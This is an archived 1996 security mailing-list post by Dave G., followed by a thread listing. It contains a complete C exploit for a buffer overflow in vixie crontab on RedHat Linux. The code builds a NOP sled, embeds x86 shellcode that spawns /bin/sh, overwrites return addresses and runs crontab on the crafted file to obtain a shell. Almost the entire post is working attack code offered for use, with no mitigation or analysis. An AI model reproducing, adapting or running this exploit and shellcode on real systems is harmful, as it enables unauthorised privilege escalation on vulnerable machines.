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vixie-crontab for redhat linux
From: daveg () ESCAPE COM (Dave G.)
Date: Sun, 15 Dec 1996 19:25:53 -0500
/* vixie crontab buffer overflow for RedHat Linux * * I dont think too many people know that redhat uses vixie crontab. * I didn't find this, just exploited it. * * * Dave G. * <daveg () escape com> * http://www.escape.com/~daveg * * */ #include <stdio.h> #include <sys/types.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define DEFAULT_OFFSET -1240 #define BUFFER_SIZE 100 /* MAX_TEMPSTR is 100 */ #define HAPPY_FILE "./Window" long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char **argv) { int fd; char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; /* * The sscanf line reads for 'name' as %[^ =]. Neither a space, nor * a '=' character appears below */ int i; int ofs = DEFAULT_OFFSET; /* if we have a argument, use it as offset, else use default */ if(argc == 2) ofs = atoi(argv[1]); else if (argc > 2) { fprintf(stderr, "egg [offset]\n"); exit(-1); } /* print the offset in use */ printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs); buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff; /* fill start of buffer with nops */ memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i < strlen(execshell);i++) *(ptr++) = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (878/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr++ = '='; *ptr++ = 'X'; *ptr++ = '\n'; *ptr = 0; printf("Writing to %s\n", HAPPY_FILE); fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666); write (fd, buff, strlen(buff)); close(fd); execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL); /* Successful completion */ exit(0); }
Current thread:
- Linux: exploit for killmouse. Bo (Dec 14)
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- vixie-crontab for redhat linux Dave G. (Dec 15)
- Re: vixie-crontab for redhat linux Erik Troan (Dec 16)